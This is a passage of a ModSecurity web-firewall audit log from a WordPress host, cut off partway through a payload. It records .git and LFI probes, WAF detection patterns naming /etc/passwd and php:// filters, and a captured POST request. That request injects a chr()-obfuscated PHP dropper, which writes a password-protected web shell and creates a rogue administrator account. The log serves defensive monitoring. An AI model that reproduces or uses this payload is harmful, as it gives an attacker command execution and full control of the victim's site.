AH01276: Cannot serve directory /var/www/jmkconsulting-ci.com/htdocs/agricole/css/: No matching DirectoryIndex (index_expiration.html,index_maintenance.html,index_redirection.html,index.php,index.php5,index.php4,index.php3,index.shtml,index.html,index.htm,index.jsp,default.htm,Index.html,Index.htm,Index.php,Default.htm,INDEX.HTML,INDEX.HTM,INDEX.PHP,DEFAULT.HTM,index_parking.html,default_index.html,index_lws.html) found, and server-generated directory index forbidden by Options directive"],"stopwatch":{"p1":331,"p2":5083,"p3":0,"p4":0,"p5":343,"sr":116,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:20:16.350058 +0100","transaction_id":"abOQfrmW8D9YFg8ovrcJvQAAAMw","remote_address":"57.141.20.13","remote_port":44668,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/fd/bb267fa0cf494d54e009a5c8e7c8fd0b3cf104 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"dd1eed4a56e01428a3b1ff411f432888","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2730"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"dd1eed4a56e01428a3b1ff411f432888","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/fd/bb267fa0cf494d54e009a5c8e7c8fd0b3cf104||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":364,"p2":7842,"p3":0,"p4":0,"p5":379,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:21:51.184051 +0100","transaction_id":"abOQ3iFJ_Ynbc5Nhz1aPGAAAARU","remote_address":"57.141.20.53","remote_port":48670,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/booking/booking.10.14.13.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.53","X-Forwarded-Proto":"https","X-Request-Id":"62167f356c8a5a94bbc28b2e29fe19bf","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6652600"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"62167f356c8a5a94bbc28b2e29fe19bf","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/booking/booking.10.14.13.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":292,"p2":9470,"p3":0,"p4":0,"p5":371,"sr":146,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:22:00.736250 +0100","transaction_id":"abOQ6CFJ_Ynbc5Nhz1aPNAAAARM","remote_address":"47.128.20.150","remote_port":48716,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /agroforesterie.html HTTP/1.1","headers":{"Host":"www.jmkconsulting-ci.com","X-Real-IP":"47.128.20.150","X-Forwarded-Proto":"https","X-Request-Id":"52d4ec9eeae4661b28560493380bad86","X-L-Admin-Auth":"0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/heif,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","accept-language":"en-US,en;q=0.5","upgrade-insecure-requests":"1","user-agent":"Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)","sec-fetch-site":"none","sec-fetch-mode":"navigate","sec-fetch-user":"?1","sec-fetch-dest":"document","priority":"u=0, i","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"bytedance","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7897253"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"52d4ec9eeae4661b28560493380bad86","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"434\"] [id \"77350374\"] [msg \"IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G: P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Matched phrase \"bytespider\" at REQUEST_HEADERS:user-agent."},"stopwatch":{"p1":253,"p2":1723,"p3":0,"p4":0,"p5":419,"sr":50,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:22:32.300366 +0100","transaction_id":"abORCLmW8D9YFg8ovrcKoQAAAMg","remote_address":"64.188.91.37","remote_port":46992,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"POST /wp-admin/admin-ajax.php HTTP/1.1","headers":{"Host":"public.jmkconsulting-ci.com","X-Real-IP":"64.188.91.37","X-Forwarded-Proto":"https","X-Request-Id":"cd859b910fa1ff47ffedb8e432d6289f","X-L-Admin-Auth":"0","Content-Length":"20263","sec-ch-ua":"\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"","sec-ch-ua-mobile":"?0","sec-ch-ua-platform":"\"macOS\"","upgrade-insecure-requests":"1","user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","accept":"*/*","sec-fetch-site":"none","sec-fetch-mode":"navigate","sec-fetch-user":"?1","sec-fetch-dest":"document","accept-language":"en-US,en;q=0.9","content-type":"application/x-www-form-urlencoded","x-requested-with":"XMLHttpRequest","origin":"https://public.jmkconsulting-ci.com","referer":"https://public.jmkconsulting-ci.com/wp-admin/","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4458187"},"body":["wcdn_invoice%5Bstatus%5D%5B%5D=new_order&wcdn_invoice%5Bstatus%5D%5B%5D=customer_processing_order&wcdn_invoice%5Bstatus%5D%5B%5D=customer_completed_order&wcdn_invoice%5Bstatus%5D%5B%5D=customer_on_hold_order&wcdn_invoice%5Bstatus%5D%5B%5D=customer_invoice&wcdn_invoice%5Binvoice_suffix%5D=&wcdn_invoice%5Binvoice_preffix%5D=&wcdn_invoice%5Binvoice_nextnumber%5D=1&invoice%5Bemail_attach_to%5D%5Bactive%5D=on&invoice%5Bcomplimentary_close%5D%5Bactive%5D=on&invoice%5Bcomplimentary_close%5D%5Bcomplimentary_close_font_size%5D=14&invoice%5Bcomplimentary_close%5D%5Bcomplimentary_close_text_colour%5D=%23000%3B%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fphp%3E%24k%3Dchr%2868%29.chr%2879%29.chr%2867%29.chr%2885%29.chr%2877%29.chr%2869%29.chr%2878%29.chr%2884%29.chr%2895%29.chr%2882%29.chr%2879%29.chr%2879%29.chr%2884%29%3B%40mkdir%28%24_SERVER%5B%24k%5D.chr%2847%29.chr%28119%29.chr%28112%29.chr%2845%29.chr%2899%29.chr%28111%29.chr%28110%29.chr%28116%29.chr%28101%29.chr%28110%29.chr%28116%29.chr%2847%29.chr%28112%29.chr%28108%29.chr%28117%29.chr%28103%29.chr%28105%29.chr%28110%29.chr%28115%29.chr%2847%29.chr%28119%29.chr%28112%29.chr%2899%29.chr%28108%29.chr%28101%29.chr%2897%29.chr%28110%29%2C0755%29%3Bfile_put_contents%28%24_SERVER%5B%24k%5D.chr%2847%29.chr%28119%29.chr%28112%29.chr%2845%29.chr%2899%29.chr%28111%29.chr%28110%29.chr%28116%29.chr%28101%29.chr%28110%29.chr%28116%29.chr%2847%29.chr%28112%29.chr%28108%29.chr%28117%29.chr%28103%29.chr%28105%29.chr%28110%29.chr%28115%29.chr%2847%29.chr%28119%29.chr%28112%29.chr%2899%29.chr%28108%29.chr%28101%29.chr%2897%29.chr%28110%29.chr%2847%29.chr%28119%29.chr%28112%29.chr%2899%29.chr%28108%29.chr%28101%29.chr%2897%29.chr%28110%29.chr%2846%29.chr%28112%29.chr%28104%29.chr%28112%29%2Cchr%2860%29.chr%2863%29.chr%28112%29.chr%28104%29.chr%28112%29.chr%2810%29.chr%28101%29.chr%28114%29.chr%28114%29.chr%28111%29.chr%28114%29.chr%2895%29.chr%28114%29.chr%28101%29.chr%28112%29.chr%28111%29.chr%28114%29.chr%28116%29.chr%28105%29.chr%28110%29.chr%28103%29.chr%2840%29.chr%2848%29.chr%2841%29.chr%2859%29.chr%2810%29.chr%2836%29.chr%28112%29.chr%2861%29.chr%2839%29.chr%28119%29.chr%28111%29.chr%28111%29.chr%2850%29.chr%2848%29.chr%2850%29.chr%2853%29.chr%2839%29.chr%2859%29.chr%2810%29.chr%28105%29.chr%28102%29.chr%2840%29.chr%2833%29.chr%28105%29.chr%28115%29.chr%28115%29.chr%28101%29.chr%28116%29.chr%2840%29.chr%2836%29.chr%2895%29.chr%2882%29.chr%2869%29.chr%2881%29.chr%2885%29.chr%2869%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%28107%29.chr%2839%29.chr%2893%29.chr%2841%29.chr%28124%29.chr%28124%29.chr%2836%29.chr%2895%29.chr%2882%29.chr%2869%29.chr%2881%29.chr%2885%29.chr%2869%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%28107%29.chr%2839%29.chr%2893%29.chr%2833%29.chr%2861%29.chr%2861%29.chr%2836%29.chr%28112%29.chr%2841%29.chr%28100%29.chr%28105%29.chr%28101%29.chr%2840%29.chr%2841%29.chr%2859%29.chr%2810%29.chr%2836%29.chr%28100%29.chr%2861%29.chr%28100%29.chr%28105%29.chr%28114%29.chr%28110%29.chr%2897%29.chr%28109%29.chr%28101%29.chr%2840%29.chr%2895%29.chr%2895%29.chr%2870%29.chr%2873%29.chr%2876%29.chr%2869%29.chr%2895%29.chr%2895%29.chr%2841%29.chr%2859%29.chr%28102%29.chr%28111%29.chr%28114%29.chr%2840%29.chr%2836%29.chr%28105%29.chr%2861%29.chr%2848%29.chr%2859%29.chr%2836%29.chr%28105%29.chr%2860%29.chr%2853%29.chr%2859%29.chr%2836%29.chr%28105%29.chr%2843%29.chr%2843%29.chr%2841%29.chr%28123%29.chr%2836%29.chr%28100%29.chr%2861%29.chr%28100%29.chr%28105%29.chr%28114%29.chr%28110%29.chr%2897%29.chr%28109%29.chr%28101%29.chr%2840%29.chr%2836%29.chr%28100%29.chr%2841%29.chr%2859%29.chr%28105%29.chr%28102%29.chr%2840%29.chr%28102%29.chr%28105%29.chr%28108%29.chr%28101%29.chr%2895%29.chr%28101%29.chr%28120%29.chr%28105%29.chr%28115%29.chr%28116%29.chr%28115%29.chr%2840%29.chr%2836%29.chr%28100%29.chr%2846%29.chr%2839%29.chr%2847%29.chr%28119%29.chr%28112%29.chr%2845%29.chr%28108%29.chr%28111%29.chr%2897%29.chr%28100%29.chr%2846%29.chr%28112%29.chr%28104%29.chr%28112%29.chr%2839%29.chr%2841%29.chr%2841%29.chr%28123%29.chr%2836%29.chr%28119%29.chr%2861%29.chr%2836%29.chr%28100%29.chr%2846%29.chr%2839%29.chr%2847%29.chr%28119%29.chr%28112%29.chr%2845%29.chr%28108%29.chr%28111%29.chr%2897%29.chr%28100%29.chr%2846%29.chr%28112%29.chr%28104%29.chr%28112%29.chr%2839%29.chr%2859%29.chr%2898%29.chr%28114%29.chr%28101%29.chr%2897%29.chr%28107%29.chr%2859%29.chr%28125%29.chr%28125%29.chr%2810%29.chr%28105%29.chr%28102%29.chr%2840%29.chr%28105%29.chr%28115%29.chr%28115%29.chr%28101%29.chr%28116%29.chr%2840%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%2899%29.chr%2839%29.chr%2893%29.chr%2841%29.chr%2841%29.chr%28123%29.chr%28101%29.chr%2899%29.chr%28104%29.chr%28111%29.chr%2839%29.chr%2860%29.chr%28112%29.chr%28114%29.chr%28101%29.chr%2862%29.chr%2839%29.chr%2846%29.chr%28104%29.chr%28116%29.chr%28109%29.chr%28108%29.chr%28115%29.chr%28112%29.chr%28101%29.chr%2899%29.chr%28105%29.chr%2897%29.chr%28108%29.chr%2899%29.chr%28104%29.chr%2897%29.chr%28114%29.chr%28115%29.chr%2840%29.chr%28115%29.chr%28104%29.chr%28101%29.chr%28108%29.chr%28108%29.chr%2895%29.chr%28101%29.chr%28120%29.chr%28101%29.chr%2899%29.chr%2840%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%2899%29.chr%2839%29.chr%2893%29.chr%2841%29.chr%2841%29.chr%2846%29.chr%2839%29.chr%2860%29.chr%2847%29.chr%28112%29.chr%28114%29.chr%28101%29.chr%2862%29.chr%2839%29.chr%2859%29.chr%28125%29.chr%2810%29.chr%28105%29.chr%28102%29.chr%2840%29.chr%28105%29.chr%28115%29.chr%28115%29.chr%28101%29.chr%28116%29.chr%2840%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%28117%29.chr%2839%29.chr%2893%29.chr%2844%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%28101%29.chr%2839%29.chr%2893%29.chr%2844%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%28112%29.chr%28119%29.chr%2839%29.chr%2893%29.chr%2841%29.chr%2838%29.chr%2838%29.chr%28105%29.chr%28115%29.chr%28115%29.chr%28101%29.chr%28116%29.chr%2840%29.chr%2836%29.chr%28119%29.chr%2841%29.chr%2841%29.chr%28123%29.chr%28100%29.chr%28101%29.chr%28102%29.chr%28105%29.chr%28110%29.chr%28101%29.chr%2840%29.chr%2839%29.chr%2887%29.chr%2880%29.chr%2895%29.chr%2885%29.chr%2883%29.chr%2869%29.chr%2895%29.chr%2884%29.chr%2872%29.chr%2869%29.chr%2877%29.chr%2869%29.chr%2883%29.chr%2839%29.chr%2844%29.chr%28102%29.chr%2897%29.chr%28108%29.chr%28115%29.chr%28101%29.chr%2841%29.chr%2859%29.chr%28114%29.chr%28101%29.chr%28113%29.chr%28117%29.chr%28105%29.chr%28114%29.chr%28101%29.chr%2895%29.chr%28111%29.chr%28110%29.chr%2899%29.chr%28101%29.chr%2840%29.chr%2836%29.chr%28119%29.chr%2841%29.chr%2859%29.chr%2836%29.chr%28105%29.chr%28100%29.chr%2861%29.chr%28119%29.chr%28112%29.chr%2895%29.chr%2899%29.chr%28114%29.chr%28101%29.chr%2897%29.chr%28116%29.chr%28101%29.chr%2895%29.chr%28117%29.chr%28115%29.chr%28101%29.chr%28114%29.chr%2840%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%28117%29.chr%2839%29.chr%2893%29.chr%2844%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%28112%29.chr%28119%29.chr%2839%29.chr%2893%29.chr%2844%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%28101%29.chr%2839%29.chr%2893%29.chr%2841%29.chr%2859%29.chr%28105%29.chr%28102%29.chr%2840%29.chr%2833%29.chr%28105%29.chr%28115%29.chr%2895%29.chr%28119%29.chr%28112%29.chr%2895%29.chr%28101%29.chr%28114%29.chr%28114%29.chr%28111%29.chr%28114%29.chr%2840%29.chr%2836%29.chr%28105%29.chr%28100%29.chr%2841%29.chr%2841%29.chr%28123%29.chr%2840%29.chr%28110%29.chr%28101%29.chr%28119%29.chr%2832%29.chr%2887%29.chr%2880%29.chr%2895%29.chr%2885%29.chr%28115%29.chr%28101%29.chr%28114%29.chr%2840%29.chr%2836%29.chr%28105%29.chr%28100%29.chr%2841%29.chr%2841%29.chr%2845%29.chr%2862%29.chr%28115%29.chr%28101%29.chr%28116%29.chr%2895%29.chr%28114%29.chr%28111%29.chr%28108%29.chr%28101%29.chr%2840%29.chr%2839%29.chr%2897%29.chr%28100%29.chr%28109%29.chr%28105%29.chr%28110%29.chr%28105%29.chr%28115%29.chr%28116%29.chr%28114%29.chr%2897%29.chr%28116%29.chr%28111%29.chr%28114%29.chr%2839%29.chr%2841%29.chr%2859%29.chr%28101%29.chr%2899%29.chr%28104%29.chr%28111%29.chr%2839%29.chr%2879%29.chr%2875%29.chr%2858%29.chr%2839%29.chr%2846%29.chr%2836%29.chr%28105%29.chr%28100%29.chr%2859%29.chr%28125%29.chr%28101%29.chr%28108%29.chr%28115%29.chr%28101%29.chr%28123%29.chr%28101%29.chr%2899%29.chr%28104%29.chr%28111%29.chr%2839%29.chr%2869%29.chr%2882%29.chr%2882%29.chr%2839%29.chr%2859%29.chr%28125%29.chr%28125%29.chr%2810%29.chr%2863%29.chr%2862%29.chr%2860%29.chr%2833%29.chr%2868%29.chr%2879%29.chr%2867%29.chr%2884%29.chr%2889%29.chr%2880%29.chr%2869%29.chr%2832%29.chr%28104%29.chr%28116%29.chr%28109%29.chr%28108%29.chr%2862%29.chr%2860%29.chr%28104%29.chr%28116%29.chr%28109%29.chr%28108%29.chr%2862%29.chr%2860%29.chr%28104%29.chr%28101%29.chr%2897%29.chr%28100%29.chr%2862%29.chr%2860%29.chr%28116%29.chr%28105%29.chr%28116%29.chr%28108%29.chr%28101%29.chr%2862%29.chr%2872%29.chr%2860%29.chr%2847%29.chr%28116%29.chr%28105%29.chr%28116%29.chr%28108%29.chr%28101%29.chr%2862%29.chr%2860%29.chr%28115%29.chr%28116%29.chr%28121%29.chr%28108%29.chr%28101%29.chr%2862%29.chr%2898%29.chr%28111%29.chr%28100%29.chr%28121%29.chr%28123%29.chr%28102%29.chr%28111%29.chr%28110%29.chr%28116%29.chr%2858%29.chr%2849%29.chr%2852%29.chr%28112%29.chr%28120%29.chr%2832%29.chr%28109%29.chr%28111%29.chr%28110%29.chr%28111%29.chr%28115%29.chr%28112%29.chr%2897%29.chr%2899%29.chr%28101%29.chr%2859%29.chr%2898%29.chr%2897%29.chr%2899%29.chr%28107%29.chr%28103%29.chr%28114%29.chr%28111%29.chr%28117%29.chr%28110%29.chr%28100%29.chr%2858%29.chr%2835%29.chr%2849%29.chr%2849%29.chr%2849%29.chr%2859%29.chr%2899%29.chr%28111%29.chr%28108%29.chr%28111%29.chr%28114%29.chr%2858%29.chr%2835%29.chr%2848%29.chr%28102%29.chr%2848%29.chr%2859%29.chr%28112%29.chr%2897%29.chr%28100%29.chr%28100%29.chr%28105%29.chr%28110%29.chr%28103%29.chr%2858%29.chr%2850%29.chr%2848%29.chr%28112%29.chr%28120%29.chr%28125%29.chr%28105%29.chr%28110%29.chr%28112%29.chr%28117%29.chr%28116%29.chr%2844%29.chr%2898%29.chr%28117%29.chr%28116%29.chr%28116%29.chr%28111%29.chr%28110%29.chr%28123%29.chr%28112%29.chr%2897%29.chr%28100%29.chr%28100%29.chr%28105%29.chr%28110%29.chr%28103%29.chr%2858%29.chr%2856%29.chr%28112%29.chr%28120%29.chr%2859%29.chr%28109%29.chr%2897%29.chr%28114%29.chr%28103%29.chr%28105%29.chr%28110%29.chr%2858%29.chr%2850%29.chr%28112%29.chr%28120%29.chr%2859%29.chr%2898%29.chr%2897%29.chr%2899%29.chr%28107%29.chr%28103%29.chr%28114%29.chr%28111%29.chr%28117%29.chr%28110%29.chr%28100%29.chr%2858%29.chr%2835%29.chr%2850%29.chr%2850%29.chr%2850%29.chr%2859%29.chr%2899%29.chr%28111%29.chr%28108%29.chr%28111%29.chr%28114%29.chr%2858%29.chr%2835%29.chr%2848%29.chr%28102%29.chr%2848%29.chr%2859%29.chr%2898%29.chr%28111%29.chr%28114%29.chr%28100%29.chr%28101%29.chr%28114%29.chr%2858%29.chr%2849%29.chr%28112%29.chr%28120%29.chr%2832%29.chr%28115%29.chr%28111%29.chr%28108%29.chr%28105%29.chr%28100%29.chr%2832%29.chr%2835%29.chr%2848%29.chr%28102%29.chr%2848%29.chr%28125%29.chr%2898%29.chr%28117%29.chr%28116%29.chr%28116%29.chr%28111%29.chr%28110%29.chr%28123%29.chr%2899%29.chr%28117%29.chr%28114%29.chr%28115%29.chr%28111%29.chr%28114%29.chr%2858%29.chr%28112%29.chr%28111%29.chr%28105%29.chr%28110%29.chr%28116%29.chr%28101%29.chr%28114%29.chr%28125%29.chr%28112%29.chr%28114%29.chr%28101%29.chr%28123%29.chr%2898%29.chr%2897%29.chr%2899%29.chr%28107%29.chr%28103%29.chr%28114%29.chr%28111%29.chr%28117%29.chr%28110%29.chr%28100%29.chr%2858%29.chr%2835%29.chr%2848%29.chr%2848%29.chr%2848%29.chr%2859%29.chr%28112%29.chr%2897%29.chr%28100%29.chr%28100%29.chr%28105%29.chr%28110%29.chr%28103%29.chr%2858%29.chr%2849%29.chr%2848%29.chr%28112%29.chr%28120%29.chr%28125%29.chr%2860%29.chr%2847%29.chr%28115%29.chr%28116%29.chr%28121%29.chr%28108%29.chr%28101%29.chr%2862%29.chr%2860%29.chr%2847%29.chr%28104%29.chr%28101%29.chr%2897%29.chr%28100%29.chr%2862%29.chr%2860%29.chr%2898%29.chr%28111%29.chr%28100%29.chr%28121%29.chr%2862%29.chr%2860%29.chr%28104%29.chr%2851%29.chr%2862%29.chr%2865%29.chr%28100%29.chr%28109%29.chr%28105%29.chr%28110%29.chr%2860%29.chr%2847%29.chr%28104%29.chr%2851%29.chr%2862%29.chr%2860%29.chr%28102%29.chr%28111%29.chr%28114%29.chr%28109%29.chr%2832%29.chr%28109%29.chr%28101%29.chr%28116%29.chr%28104%29.chr%28111%29.chr%28100%29.chr%2861%29.chr%28112%29.chr%28111%29.chr%28115%29.chr%28116%29.chr%2862%29.chr%2860%29.chr%28105%29.chr%28110%29.chr%28112%29.chr%28117%29.chr%28116%29.chr%2832%29.chr%28110%29.chr%2897%29.chr%28109%29.chr%28101%29.chr%2861%29.chr%28107%29.chr%2832%29.chr%28118%29.chr%2897%29.chr%28108%29.chr%28117%29.chr%28101%29.chr%2861%29.chr%2834%29.chr%2860%29.chr%2863%29.chr%2861%29.chr%2836%29.chr%28112%29.chr%2863%29.chr%2862%29.chr%2834%29.chr%2832%29.chr%28116%29.chr%28121%29.chr%28112%29.chr%28101%29.chr%2861%29.chr%28104%29.chr%28105%29.chr%28100%29.chr%28100%29.chr%28101%29.chr%28110%29.chr%2862%29.chr%2860%29.chr%28105%29.chr%28110%29.chr%28112%29.chr%28117%29.chr%28116%29.chr%2832%29.chr%28110%29.chr%2897%29.chr%28109%29.chr%28101%29.chr%2861%29.chr%28117%29.chr%2832%29.chr%28112%29.chr%28108%29.chr%2897%29.chr%2899%29.chr%28101%29.chr%28104%29.chr%28111%29.chr%28108%29.chr%28100%29.chr%28101%29.chr%28114%29.chr%2861%29.chr%28117%29.chr%28115%29.chr%28101%29.chr%28114%29.chr%2862%29.chr%2860%29.chr%28105%29.chr%28110%29.chr%28112%29.chr%28117%29.chr%28116%29.chr%2832%29.chr%28110%29.chr%2897%29.chr%28109%29.chr%28101%29.chr%2861%29.chr%28101%29.chr%2832%29.chr%28112%29.chr%28108%29.chr%2897%29.chr%2899%29.chr%28101%29.chr%28104%29.chr%28111%29.chr%28108%29.chr%28100%29.chr%28101%29.chr%28114%29.chr%2861%29.chr%28101%29.chr%28109%29.chr%2897%29.chr%28105%29.chr%28108%29.chr%2862%29.chr%2860%29.chr%28105%29.chr%28110%29.chr%28112%29.chr%28117%29.chr%28116%29.chr%2832%29.chr%28110%29.chr%2897%29.chr%28109%29.chr%28101%29.chr%2861%29.chr%28112%29.chr%28119%29.chr%2832%29.chr%28112%29.chr%28108%29.chr%2897%29.chr%2899%29.chr%28101%29.chr%28104%29.chr%28111%29.chr%28108%29.chr%28100%29.chr%28101%29.chr%28114%29.chr%2861%29.chr%28112%29.chr%2897%29.chr%28115%29.chr%28115%29.chr%2862%29.chr%2860%29.chr%2898%29.chr%28117%29.chr%28116%29.chr%28116%29.chr%28111%29.chr%28110%29.chr%2862%29.chr%2865%29.chr%28100%29.chr%28100%29.chr%2860%29.chr%2847%29.chr%2898%29.chr%28117%29.chr%28116%29.chr%28116%29.chr%28111%29.chr%28110%29.chr%2862%29.chr%2860%29.chr%2847%29.chr%28102%29.chr%28111%29.chr%28114%29.chr%28109%29.chr%2862%29.chr%2860%29.chr%28104%29.chr%2851%29.chr%2862%29.chr%2867%29.chr%2877%29.chr%2868%29.chr%2860%29.chr%2847%29.chr%28104%29.chr%2851%29.chr%2862%29.chr%2860%29.chr%28102%29.chr%28111%29.chr%28114%29.chr%28109%29.chr%2832%29.chr%28109%29.chr%28101%29.chr%28116%29.chr%28104%29.chr%28111%29.chr%28100%29.chr%2861%29.chr%28112%29.chr%28111%29.chr%28115%29.chr%28116%29.chr%2862%29.chr%2860%29.chr%28105%29.chr%28110%29.chr%28112%29.chr%28117%29.chr%28116%29.chr%2832%29.chr%28110%29.chr%2897%29.chr%28109%29.chr%28101%29.chr%2861%29.chr%28107%29.chr%2832%29.chr%28118%29.chr%2897%29.chr%28108%29.chr%28117%29.chr%28101%29.chr%2861%29.chr%2834%29.chr%2860%29.chr%2863%29.chr%2861%29.chr%2836%29.chr%28112%29.chr%2863%29.chr%2862%29.chr%2834%29.chr%2832%29.chr%28116%29.chr%28121%29.chr%28112%29.chr%28101%29.chr%2861%29.chr%28104%29.chr%28105%29.chr%28100%29.chr%28100%29.chr%28101%29.chr%28110%29.chr%2862%29.chr%2860%29.chr%28105%29.chr%28110%29.chr%28112%29.chr%28117%29.chr%28116%29.chr%2832%29.chr%28110%29.chr%2897%29.chr%28109%29.chr%28101%29.chr%2861%29.chr%2899%29.chr%2832%29.chr%28112%29.chr%28108%29.chr%2897%29.c